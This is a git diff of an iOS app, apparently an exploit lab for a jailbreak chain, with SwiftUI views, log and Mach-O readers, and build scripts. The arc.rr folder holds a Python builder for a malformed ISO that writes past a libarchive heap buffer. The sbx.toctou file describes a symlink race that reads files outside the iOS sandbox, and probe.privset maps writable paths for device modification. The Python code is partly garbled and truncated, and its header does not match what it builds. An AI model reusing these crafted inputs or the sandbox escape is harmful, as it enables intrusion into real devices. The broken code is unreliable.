body["threads"] as? [[String: Any]], + let idx = body["faultingThread"] as? Int, idx < threads.count { + let thread = threads[idx] + if let fs = thread["frames"] as? [[String: Any]] { + for f in fs.prefix(14) { + let imageIdx = f["imageIndex"] as? Int ?? 0 + let image = imageIdx < images.count ? (images[imageIdx]["name"] as? String ?? "?") : "?" + let symbol = f["symbol"] as? String ?? "" + frames.append(symbol.isEmpty ? image : "\(image) · \(symbol)") + } + fault = frames.first ?? "" + } + } + return (process, exception, fault, frames) + } +} + +// MARK: - Unified log reader + +struct LogLine: Identifiable { + var id = UUID() + let time: Date + let process: String + let subsystem: String + let message: String +} + +enum UnifiedLog { + /// OSLogStore is private-ish but reachable from an app for its own process scope. + static func recent(minutes: Int = 5, limit: Int = 300) -> [LogLine] { + guard let cls = NSClassFromString("OSLogStore") as? NSObject.Type else { return [] } + let localSel = NSSelectorFromString("localStoreAndReturnError:") + guard cls.responds(to: localSel) else { return [] } + let store = cls.perform(localSel, with: nil)?.takeUnretainedValue() + guard let storeObj = store as AnyObject? else { return [] } + + let posSel = NSSelectorFromString("positionWithDate:") + guard storeObj.responds(to: posSel), + let pos = storeObj.perform(posSel, with: Date().addingTimeInterval(-Double(minutes) * 60))? + .takeUnretainedValue() else { return [] } + + let entriesSel = NSSelectorFromString("entriesFromPosition:to:options:error:") + guard storeObj.responds(to: entriesSel) else { return [] } + // Build the invocation-free path: entriesFromPosition:to:options:error: needs four + // args, which perform(_:with:) cannot express. Fall back to the one-arg variant. + let simpleSel = NSSelectorFromString("entriesEnumeratorWithOptions:position:predicate:error:") + guard storeObj.responds(to: simpleSel) else { return [] } + + var out: [LogLine] = [] + guard let enumerator = storeObj.perform(simpleSel, with: pos)?.takeUnretainedValue() as? NSEnumerator else { + return [] + } + while let entry = enumerator.nextObject() as AnyObject? { + if out.count >= limit { break } + let dateSel = NSSelectorFromString("date") + let compSel = NSSelectorFromString("composedMessage") + let procSel = NSSelectorFromString("processIdentifier") + let date = (entry.responds(to: dateSel) ? entry.perform(dateSel)?.takeUnretainedValue() as? Date : nil) ?? Date() + let message = (entry.responds(to: compSel) ? entry.perform(compSel)?.takeUnretainedValue() as? String : nil) ?? "" + let pid = (entry.responds(to: procSel) ? entry.perform(procSel)?.takeUnretainedValue() as? Int32 : nil) ?? 0 + guard !message.isEmpty else { continue } + out.append(LogLine(time: date, process: "\(pid)", subsystem: "", message: message)) + } + return out + } +} + +// MARK: - Binary inspector + +struct MachOInfo { + var arch: String = "—" + var fileType: String = "—" + var platform: String = "—" + var minOS: String = "—" + var sdk: String = "—" + var isEncrypted: Bool = false + var cryptID: UInt32 = 0 + var linkedLibraries: [String] = [] + var rpaths: [String] = [] + var entitlements: [String] = [] + var isFat: Bool = false +} + +enum MachOInspector { + static func inspect(_ path: String) -> MachOInfo? { + guard let data = try? Data(contentsOf: URL(fileURLWithPath: path)) else { return nil } + var info = MachOInfo() + + let magic = data.withUnsafeBytes { $0.load(as: UInt32.self) } + let fatMagic: UInt32 = 0xCAFEBABE + let fatMagic64: UInt32 = 0xCAFEBABF + if magic == fatMagic || magic == fatMagic64 { + info.isFat = true + return info + } + + guard let header = parseHeader(data) else { return nil } + info.arch = header.arch + info.fileType = header.fileType + info.platform = header.platform + info.minOS = header.minOS + info.sdk = header.sdk + info.isEncrypted = header.cryptID != 0 + info.cryptID = header.cryptID + info.linkedLibraries = header.libraries + info.rpaths = header.rpaths + return info + } + + private struct Header { + var arch = "—" + var fileType = "—" + var platform = "—" + var minOS = "—" + var sdk = "—" + var cryptID: UInt32 = 0 + var libraries: [String] = [] + var rpaths: [String] = [] + } + + private static func parseHeader(_ data: Data) -> Header? { + guard data.count > 32 else { return nil } + var h = Header() + let cputype = data.withUnsafeBytes { $0.load(fromByteOffset: 4, as: UInt32.self) } + switch cputype { + case 0x0100_000C: h.arch = "arm64" + case 0x0100_0007: h.arch = "x86_64" + case 0x0000_000C: h.arch = "armv7" + default: h.arch = "0x" + String(cputype, radix: 16) + } + let filetype = data.withUnsafeBytes { $0.load(fromByteOffset: 12, as: UInt32.self) } + switch filetype { + case 2: h.fileType = "MH_EXECUTE" + case 6: h.fileType = "MH_DYLIB" + case 8: h.fileType = "MH_BUNDLE" + case 1: h.fileType = "MH_OBJECT" + default: h.fileType = "type \(filetype)" + } + + let ncmds = data.withUnsafeBytes { $0.load(fromByteOffset: 16, as: UInt32.self) } + var offset = 32 + for _ in 0..= 8, offset + Int(size) <= data.count else { break } + + switch cmd { + case 0x32: // LC_BUILD_VERSION + if offset + 16 <= data.count { + let platform = data.withUnsafeBytes { $0.load(fromByteOffset: offset + 8, as: UInt32.self) } + let minos = data.withUnsafeBytes { $0.load(fromByteOffset: offset + 12, as: UInt32.self) } + h.platform = platformName(platform) + h.minOS = versionString(minos) + if offset + 20 <= data.count { + let sdk = data.withUnsafeBytes { $0.load(fromByteOffset: offset + 16, as: UInt32.self) } + h.sdk = versionString(sdk) + } + } + case 0x24: // LC_VERSION_MIN_IPHONEOS + if offset + 12 <= data.count { + h.platform = "iOS" + let minos = data.withUnsafeBytes { $0.load(fromByteOffset: offset + 8, as: UInt32.self) } + h.minOS = versionString(minos) + } + case 0x21C: // LC_ENCRYPTION_INFO_64 + if offset + 20 <= data.count { + h.cryptID = data.withUnsafeBytes { $0.load(fromByteOffset: offset + 16, as: UInt32.self) } + } + case 0xC: // LC_LOAD_DYLIB + if let s = string(in: data, at: offset + 24, limit: offset + Int(size)) { + h.libraries.append((s as NSString).lastPathComponent) + } + case 0x1C: // LC_RPATH + if let s = string(in: data, at: offset + 12, limit: offset + Int(size)) { + h.rpaths.append(s) + } + default: + break + } + offset += Int(size) + } + return h + } + + private static func string(in data: Data, at offset: Int, limit: Int) -> String? { + guard offset < data.count, offset < limit else { return nil } + var bytes: [UInt8] = [] + var i = offset + while i < min(limit, data.count), data[i] != 0 { + bytes.append(data[i]) + i += 1 + } + return bytes.isEmpty ? nil : String(decoding: bytes, as: UTF8.self) + } + + private static func platformName(_ v: UInt32) -> String { + switch v { + case 1: return "macOS" + case 2: return "iOS" + case 3: return "tvOS" + case 4: return "watchOS" + case 6: return "Mac Catalyst" + case 7: return "iOS Simulator" + case 11: return "visionOS" + default: return "platform \(v)" + } + } + + private static func versionString(_ v: UInt32) -> String { + "\(v >> 16).\((v >> 8) & 0xff).\(v & 0xff)" + } +} diff --git a/Sources/Views.swift b/Sources/Views.swift new file mode 100644 index 0000000..18ed707 --- /dev/null +++ b/Sources/Views.swift @@ -0,0 +1,250 @@ +import SwiftUI + +@main +struct Cinder27App: App { + @StateObject private var engine = LabEngine() + @StateObject private var browser: FileBrowser + @StateObject private var clipboard = FileClipboard() + @StateObject private var bookmarks = Bookmarks() + @StateObject private var l10n = L10n.shared + + init() { + _browser = StateObject(wrappedValue: FileBrowser(path: Container.documents.path)) + } + + var body: some Scene { + WindowGroup { + GateView() + .environmentObject(engine) + .environmentObject(browser) + .environmentObject(clipboard) + .environmentObject(bookmarks) + .environmentObject(l10n) + .environment(\.layoutDirection, Lang.resolved.isRTL ? .rightToLeft : .leftToRight) + .preferredColorScheme(.dark) + .id(Lang.resolved) // rebuild the tree on language change + } + } +} + +struct RootView: View { + @EnvironmentObject private var engine: LabEngine + @Environment(\.gateInfo) private var gate + @State private var tab = Int(ProcessInfo.processInfo.environment["CINDER27_TAB"] ?? "0") ?? 0 + + var body: some View { + TabView(selection: $tab) { + DashboardView().tabItem { + Label(t("tab.overview"), systemImage: "square.grid.2x2.fill") + }.tag(0) + + LabView().tabItem { + Label(t("tab.lab"), systemImage: "ant.fill") + }.tag(1) + + ChainView().tabItem { + Label(t("tab.chain"), systemImage: "link") + }.tag(2) + + ModView().tabItem { + Label(t("tab.mod"), systemImage: "wrench.and.screwdriver.fill") + }.tag(3) + + SystemView().tabItem { + Label(t("tab.system"), systemImage: "cpu") + }.tag(4) + } + .tint(T.ember) + .onAppear { + Container.ensureAll() + runAutorunIfRequested() + styleTabBar() + } + } + + private func styleTabBar() { + let appearance = UITabBarAppearance() + appearance.configureWithOpaqueBackground() + appearance.backgroundColor = UIColor(red: 0.055, green: 0.055, blue: 0.068, alpha: 1) + UITabBar.appearance().standardAppearance = appearance + UITabBar.appearance().scrollEdgeAppearance = appearance + } + + /// Nothing in this app runs on its own. Every primitive stays at "not run" until the + /// user presses Execute. + /// + /// The only exception is an opt-in harness for automated testing, and it needs *two* + /// independent conditions: the environment variable `CINDER27_AUTORUN` naming a module, + /// and a file called `enable-autorun` sitting in the container. A shipped build has + /// neither, so a normal launch cannot execute anything. + private func runAutorunIfRequested() { + let env = ProcessInfo.processInfo.environment + guard let id = env["CINDER27_AUTORUN"], !id.isEmpty else { return } + + let marker = Container.appSupport.appendingPathComponent("enable-autorun") + guard FileManager.default.fileExists(atPath: marker.path) else { return } + guard let module = Catalog.byID[id] else { return } + + print("[AUTORUN] \(id)") + DispatchQueue.main.asyncAfter(deadline: .now() + 1.2) { + engine.run(module) + if env["CINDER27_AUTORUN_EXIT"] == "1" { + DispatchQueue.main.asyncAfter(deadline: .now() + 6.0) { + print("[AUTORUN] exit") + exit(0) + } + } + } + } +} + +// MARK: - Dashboard + +struct DashboardView: View { + @EnvironmentObject private var engine: LabEngine + @Environment(\.gateInfo) private var gate + @State private var device = DeviceModel.current() + + private var tested: Int { Catalog.all.filter { engine.journal.verdict(for: $0.id) != .untested }.count } + private var died: Int { Catalog.all.filter { engine.journal.verdict(for: $0.id) == .processDied }.count } + + var body: some View { + NavigationStack { + ScrollView { + VStack(spacing: 14) { + header + deviceCard + capabilityCard + + HStack(spacing: 12) { + statTile(t("ov.modules"), "\(Catalog.all.count)", T.info) + statTile(t("ov.tested"), "\(tested)", T.warn) + statTile(t("ov.died"), "\(died)", T.ember) + } + + if tested > 0 { + RunButton(title: t("ov.reset"), systemImage: "arrow.counterclockwise", + tint: T.info) { + engine.journal.clear() + } + } + + if !engine.journal.recovered.isEmpty { interruptedCard } + logCard + } + .padding(16) + } + .background(T.bg.ignoresSafeArea()) + .navigationTitle("Cinder27") + .navigationBarTitleDisplayMode(.inline) + } + } + + private var header: some View { + VStack(alignment: .leading, spacing: 6) { + Text(t("ov.headline")) + .font(T.title) + .foregroundColor(.white) + .fixedSize(horizontal: false, vertical: true) + Text(String(format: t("ov.sub"), Catalog.all.count, Catalog.locatedFixes)) + .font(T.tiny) + .foregroundColor(.white.opacity(0.4)) + .fixedSize(horizontal: false, vertical: true) + } + .frame(maxWidth: .infinity, alignment: .leading) + } + + private var deviceCard: some View { + Card { + VStack(alignment: .leading, spacing: 10) { + HStack { + SectionLabel(text: t("ov.target")) + Spacer() + Pill(text: device.vulnerabilityClass == "VULNERABLE" ? t("verdict.vulnerable") + : device.vulnerabilityClass == "PATCHED" ? t("verdict.patched") : t("verdict.unknown"), + color: device.vulnerabilityClass == "VULNERABLE" ? T.ember : T.good) + } + KeyValueRow(key: t("ov.model"), value: "\(device.marketingName) (\(device.machine))") + KeyValueRow(key: t("ov.os"), value: "iOS \(device.osVersion) (\(device.osBuild))") + KeyValueRow(key: t("ov.kernel"), value: device.kernel) + KeyValueRow(key: t("ov.memory"), + value: ByteCountFormatter.string(fromByteCount: Int64(device.physicalMemory), + countStyle: .memory)) + } + } + } + + private var capabilityCard: some View { + Card { + VStack(alignment: .leading, spacing: 12) { + SectionLabel(text: t("ov.capabilities")) + ForEach(Capability.matrix()) { row in + HStack(spacing: 10) { + Text(row.level) + .font(T.monoSm) + .foregroundColor(row.achieved ? T.good : .white.opacity(0.25)) + .frame(width: 24, alignment: .leading) + VStack(alignment: .leading, spacing: 2) { + Text(row.name).font(T.body) + .foregroundColor(row.achieved ? .white.opacity(0.9) : .white.opacity(0.4)) + Text(row.detail).font(T.monoSm) + .foregroundColor(.white.opacity(0.28)) + .lineLimit(1) + .truncationMode(.middle) + } + Spacer() + Image(systemName: row.achieved ? "checkmark.circle.fill" : "lock.fill") + .font(.system(size: 12)) + .foregroundColor(row.achieved ? T.good : .white.opacity(0.18)) + } + } + } + } + } + + private var interruptedCard: some View { + Card { + VStack(alignment: .leading, spacing: 8) { + SectionLabel(text: t("ov.interrupted")) + ForEach(engine.journal.recovered) { e in + HStack { + Circle().fill(T.ember).frame(width: 6, height: 6) + Text(e.moduleID).font(T.mono) + Spacer() + Text(e.detail).font(T.monoSm).foregroundColor(.white.opacity(0.4)) + } + } + Text(t("ov.interrupted.note")) + .font(T.tiny).foregroundColor(.white.opacity(0.35)) + .fixedSize(horizontal: false, vertical: true) + } + } + } + + private var logCard: some View { + Card { + VStack(alignment: .leading, spacing: 8) { + SectionLabel(text: t("ov.log")) + if engine.logLines.isEmpty { + Text(t("ov.log.empty")).font(T.monoSm).foregroundColor(.white.opacity(0.3)) + } else { + ForEach(Array(engine.logLines.suffix(8).enumerated()), id: \.offset) { _, line in + Text(line).font(T.monoSm).foregroundColor(.white.opacity(0.55)) + .fixedSize(horizontal: false, vertical: true) + } + } + } + } + } + + private func statTile(_ title: String, _ value: String, _ color: Color) -> some View { + VStack(spacing: 4) { + Text(value).font(.system(size: 22, weight: .bold, design: .rounded)).foregroundColor(color) + Text(title).font(T.tiny).foregroundColor(.white.opacity(0.4)) + } + .frame(maxWidth: .infinity) + .padding(.vertical, 14) + .background(RoundedRectangle(cornerRadius: 14, style: .continuous).fill(T.panel)) + .overlay(RoundedRectangle(cornerRadius: 14, style: .continuous).strokeBorder(T.stroke, lineWidth: 1)) + } +} diff --git a/arc.rr/arc.rr.py b/arc.rr/arc.rr.py new file mode 100644 index 0000000..d06385c --- /dev/null +++ b/arc.rr/arc.rr.py @@ -0,0 +1,170 @@ +#!/usr/bin/env python3 +# arc.rr · libarchive · RockRidge CL/PL · — +# 原语: 探测 · 进程内 | Primitive: probe · in-process +# +# [zh] RockRidge 重定位环(未修复孪生) +# 上游已于 2026 年 9 月修复 RockRidge 重定位环导致的无限循环(d14de384fcc6),Apple 未取该提交。该缺陷在 27.0 与 27.2 上均存在,是本工程中唯一一条对当前系统同样成立的候选。 +# +# [en] RockRidge relocation cycle (unfixed sibling) +# Upstream fixed the infinite loop caused by a RockRidge relocation cycle in September 2026 +# (d14de384fcc6) and Apple did not take the commit. The defect is present on both 27.0 and 27.2, +# making it the only candidate in this project that also holds on current systems. +# +# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py +# 触发器(run 闭包)与非种子构建器: 同目录 arc.rr.swift +# triggers (run closures) & non-seed builders: arc.rr.swift in this folder + +import struct + +SECTOR = 2048 + +# --------------------------------------------------------------------------- helpers +def both16(v): + return struct.pack("H", v) + +def both32(v): + return struct.pack("I", v) + +# --------------------------------------------------------------------------- ISO9660 Joliet +def build_joliet_iso(): + """ + Craft per libarchive upstream 750e8d7b25de (fix Apple shipped in 27.2, absent on 27.0). + + build_pathname_utf16be() recurses to the parent, then writes a 2-byte UTF-16BE '/' + separator WITHOUT re-checking the running length against max (1024). A directory + chain whose accumulated path is exactly 1024 bytes makes the deepest unwind store at + p[1024] / p[1025] — two bytes past a malloc(1024) heap buffer. + + Chain: root -> A(103 chars) -> B(103) -> C(103) -> D(103) -> E(96), file F in E. + Accumulated: 4*206 + 192 + 4*2 = 1024 exactly. + """ + names = ["A" * 103, "B" * 103, "C" * 103, "D" * 103, "E" * 96] + + # sector plan + LBA_PVD = 16 + LBA_SVD = 17 + LBA_TERM = 18 + LBA_PT_ASCII = 19 + LBA_PT_JOLIET = 20 + LBA_ROOT = 21 + first_dir = LBA_ROOT + 1 # 22 .. 26 + LBA_FILE = first_dir + len(names) # 27 + total_sectors = LBA_FILE + 1 + + img = bytearray(total_sectors * SECTOR) + + def put(lba, data): + img[lba * SECTOR: lba * SECTOR + len(data)] = data + + # ---- path tables (type L, little endian extents) + def path_table(encode): + out = bytearray() + entries = [("", 1, LBA_ROOT)] + [(n, i + 2, first_dir + i) for i, n in enumerate(names)] + for name, parent, extent in entries: + nb = encode(name) if name else b"\x00" + rec = bytes([len(nb), 0]) + struct.pack("I", 0) # type-M (unused) + d[152:156] = struct.pack(">I", 0) # optional type-M + # root directory record at offset 156 + root = dir_record(b"\x00", root_lba, SECTOR, 0x02) + d[156:156 + len(root)] = root + d[881] = 1 # file structure version + if joliet: + d[88:88 + 3] = b"%/E" # escape sequence + return bytes(d) + + put(LBA_PVD, volume_descriptor(1, False, LBA_ROOT, LBA_PT_ASCII, len(pt_ascii))) + put(LBA_SVD, volume_descriptor(2, True, LBA_ROOT, LBA_PT_JOLIET, len(pt_joliet))) + term = bytearray(2048) + term[0] = 255 + term[1:6] = b"CD001" + term[6] = 1 + put(LBA_TERM, bytes(term)) + + return bytes(img) + + +# --------------------------------------------------------------------------- USDA nesting + +def dir_record(name_bytes, extent, size, flags): + """ISO9660 directory record. name_bytes is the raw name (0x00 root, 0x01 parent).""" + body = bytes([0]) + both32(extent) + both32(size) + iso_date() + bytes([flags, 0, 0]) + both16(1) + rec = bytes([0]) + body + bytes([len(name_bytes)]) + name_bytes + if len(rec) % 2: + rec += b"\x00" + rec = bytes([len(rec)]) + rec[1:] + return rec + +def iso_date(y=2026, mo=10, d=28, h=12, mi=0, s=0): + return bytes([y - 1900, mo, d, h, mi, s, 0]) + +def pad_to(data, n): + if len(data) < n: + data = data + b"\x00" * (n - len(data)) + return data[:n] + +def ucs2(name): + return name.encode("utf-16-be") + + +# --------------------------------------------------------------------------- ISO9660 Joliet + +if __name__ == "__main__": + import sys + out = sys.argv[1] if len(sys.argv) > 1 else "joliet_path_oob.iso" + open(out, "wb").write(build_joliet_iso()) + print("wrote", out) diff --git a/arc.rr/arc.rr.swift b/arc.rr/arc.rr.swift new file mode 100644 index 0000000..1339f86 --- /dev/null +++ b/arc.rr/arc.rr.swift @@ -0,0 +1,42 @@ +// arc.rr · libarchive · RockRidge CL/PL · — +// 原语: 探测 · 进程内 · tier 3 +// Primitive: probe · in-process · tier 3 +// +// [zh] RockRidge 重定位环(未修复孪生) +// 上游已于 2026 年 9 月修复 RockRidge 重定位环导致的无限循环(d14de384fcc6),Apple 未取该提交。该缺陷在 27.0 与 27.2 上均存在,是本工程中唯一一条对当前系统同样成立的候选。 +// +// [en] RockRidge relocation cycle (unfixed sibling) +// Upstream fixed the infinite loop caused by a RockRidge relocation cycle in September 2026 (d14de384fcc6) +// and Apple did not take the commit. The defect is present on both 27.0 and 27.2, making it the only +// candidate in this project that also holds on current systems. +// ── 判别 / oracle ── +// 以 Joliet 种子的同级结构构造 CL 指向自身的目录项。该路径一旦成立即会挂起,故测量耗时并设阈值判断。 +// +// 种子构建器(python,可直接运行): arc.rr/arc.rr.py +// runnable python seed builder: arc.rr/arc.rr.py + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + + + diff --git a/kern.baseline/kern.baseline.swift b/kern.baseline/kern.baseline.swift new file mode 100644 index 0000000..9f444c7 --- /dev/null +++ b/kern.baseline/kern.baseline.swift @@ -0,0 +1,38 @@ +// kern.baseline · XNU · mach_port · — +// 原语: 探测 · 内核 · tier 3 +// Primitive: probe · kernel · tier 3 +// +// [zh] Mach 命名空间基线 +// 读取 bootstrap 端口与自身端口命名空间,确认竞态前的起点:能不能列出端口、能拿到多少个名字。 +// +// [en] Mach namespace baseline +// Reads the bootstrap port and the process's own port namespace to establish the starting point before +// any race: can ports be listed, and how many names are available. +// ── 判别 / oracle ── +// 任何一次竞态结果都要和这个基线一起看。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + + + diff --git a/probe.privset/probe.privset.swift b/probe.privset/probe.privset.swift new file mode 100644 index 0000000..7e1565f --- /dev/null +++ b/probe.privset/probe.privset.swift @@ -0,0 +1,39 @@ +// probe.privset · 沙盒 / 签名 / entitlements · — +// 原语: 探测 · 进程内 · tier 3 +// Primitive: probe · in-process · tier 3 +// +// [zh] 本进程权限面 +// 这一套漏洞链的最终权限上限,取决于进程自己已经拿到了什么。csops 标志、entitlements、以及沙盒允许的路径集合,三者一起定义了越狱工具能做到的最远处。 +// +// [en] This process's privilege surface +// The final privilege ceiling of this whole chain depends on what the process already holds. The +// csops flags, the entitlements, and the set of paths the sandbox permits together define the furthest +// point a modification tool can reach. +// ── 判别 / oracle ── +// 路径矩阵里凡是「可写」的目录,就是改机工具真正的活动范围。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + + + diff --git a/sbx.toctou/sbx.toctou.swift b/sbx.toctou/sbx.toctou.swift new file mode 100644 index 0000000..2afe10f --- /dev/null +++ b/sbx.toctou/sbx.toctou.swift @@ -0,0 +1,40 @@ +// sbx.toctou · libsystem_sandbox · sandbox_extension_issue_file · +// 原语: OOB 读 · 进程内 · tier 1 +// Primitive: OOB read · in-process · tier 1 +// +// [zh] sandbox_extension 符号链接 TOCTOU 越界读 +// +// [en] sandbox_extension symlink TOCTOU out-of-bounds read +// sandbox_extension_issue_file resolves a symlink at issue time but does not enforce SANDBOX_EXTENSION_NOFOLLOW. +// The token it returns is therefore bound to the target resolved at issue time, and the kernel does +// not re-verify that the path used at consume time is the path the token was issued for. The sequence: +// create symlink L inside the sandbox pointing at in-sandbox file S; issue an extension for L (the +// kernel records S); repoint L at out-of-sandbox target T; consume the token and read through L. +// The kernel permits S's class while the path actually opened is T's. +// ── 判别 / oracle ── + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + + + diff --git a/scripts/build-device.sh b/scripts/build-device.sh new file mode 100755 index 0000000..5018186 --- /dev/null +++ b/scripts/build-device.sh @@ -0,0 +1,73 @@ +#!/bin/bash +# Build an unsigned arm64 IPA for Cinder27. +# The IPA is deliberately unsigned — sign it with your own certificate / profile. +set -euo pipefail + +ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +OUT="$ROOT/build/device" +APP="$OUT/Payload/Cinder27.app" +IPA="$ROOT/dist/Cinder27-unsigned.ipa" +SDK="$(xcrun --sdk iphoneos --show-sdk-path)" +MIN_IOS="${MIN_IOS:-17.0}" + +echo "== seeds ==" +python3 "$ROOT/scripts/gen_seeds.py" > /dev/null + +echo "== icon ==" +if [ ! -f "$ROOT/Resources/AppIcon-1024.png" ]; then + python3 "$ROOT/scripts/gen_icon.py" > /dev/null +fi + +echo "== clean ==" +rm -rf "$OUT" +mkdir -p "$APP" + +echo "== compile (arm64, min iOS $MIN_IOS) ==" +xcrun --sdk iphoneos swiftc \ + -parse-as-library \ + -swift-version 5 \ + -O \ + -target "arm64-apple-ios$MIN_IOS" \ + -sdk "$SDK" \ + -o "$APP/Cinder27" \ + "$ROOT"/Sources/*.swift + +echo "== resources ==" +cp "$ROOT/Info.plist" "$APP/Info.plist" +printf 'APPL????' > "$APP/PkgInfo" +cp "$ROOT"/seeds/* "$APP/" + +echo "== asset catalog ==" +xcrun actool "$ROOT/Resources/Assets.xcassets" \ + --compile "$APP" \ + --platform iphoneos \ + --minimum-deployment-target "$MIN_IOS" \ + --app-icon AppIcon \ + --output-partial-info-plist "$OUT/assetcatalog_generated_info.plist" \ + --target-device iphone \ + --target-device ipad > /dev/null + +echo "== merge asset catalog Info.plist keys ==" +python3 - "$APP/Info.plist" "$OUT/assetcatalog_generated_info.plist" <<'PY' +import plistlib, sys +info_path, partial_path = sys.argv[1], sys.argv[2] +with open(info_path, "rb") as fh: + info = plistlib.load(fh) +with open(partial_path, "rb") as fh: + partial = plistlib.load(fh) +partial.pop("com.apple.actool.compilation-results", None) +info.update(partial) +with open(info_path, "wb") as fh: + plistlib.dump(info, fh, fmt=plistlib.FMT_BINARY) +PY + +chmod 755 "$APP/Cinder27" +chmod 644 "$APP/Info.plist" +/usr/bin/plutil -lint "$APP/Info.plist" + +echo "== package Payload/ -> .ipa ==" +mkdir -p "$ROOT/dist" +rm -f "$IPA" +( cd "$OUT" && zip -qry "$IPA" Payload ) +echo "IPA: $IPA" +ls -lh "$IPA" diff --git a/scripts/build-sim.sh b/scripts/build-sim.sh new file mode 100755 index 0000000..6c49884 --- /dev/null +++ b/scripts/build-sim.sh @@ -0,0 +1,74 @@ +#!/bin/bash +# Build the simulator .app for Cinder27 and install it on the booted simulator. +set -euo pipefail + +ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +OUT="$ROOT/build/sim" +APP="$OUT/Cinder27.app" +SDK="$(xcrun --sdk iphonesimulator --show-sdk-path)" +MIN_IOS="${MIN_IOS:-17.0}" + +echo "== seeds ==" +python3 "$ROOT/scripts/gen_seeds.py" > /dev/null + +echo "== icon ==" +if [ ! -f "$ROOT/Resources/AppIcon-1024.png" ]; then + python3 "$ROOT/scripts/gen_icon.py" > /dev/null +fi + +echo "== clean ==" +rm -rf "$OUT" +mkdir -p "$APP" + +echo "== compile (arm64 simulator, min iOS $MIN_IOS) ==" +xcrun --sdk iphonesimulator swiftc \ + -parse-as-library \ + -swift-version 5 \ + -O \ + -target "arm64-apple-ios${MIN_IOS}-simulator" \ + -sdk "$SDK" \ + -o "$APP/Cinder27" \ + "$ROOT"/Sources/*.swift + +echo "== resources ==" +cp "$ROOT/Info.plist" "$APP/Info.plist" +printf 'APPL????' > "$APP/PkgInfo" +cp "$ROOT"/seeds/* "$APP/" + +# The device Info.plist carries iPhoneOS platform keys; the simulator requires the +# simulator variants or SpringBoard refuses the install. +plutil -replace CFBundleSupportedPlatforms -json '["iPhoneSimulator"]' "$APP/Info.plist" +plutil -replace DTPlatformName -string iphonesimulator "$APP/Info.plist" +plutil -replace DTSDKName -string iphonesimulator 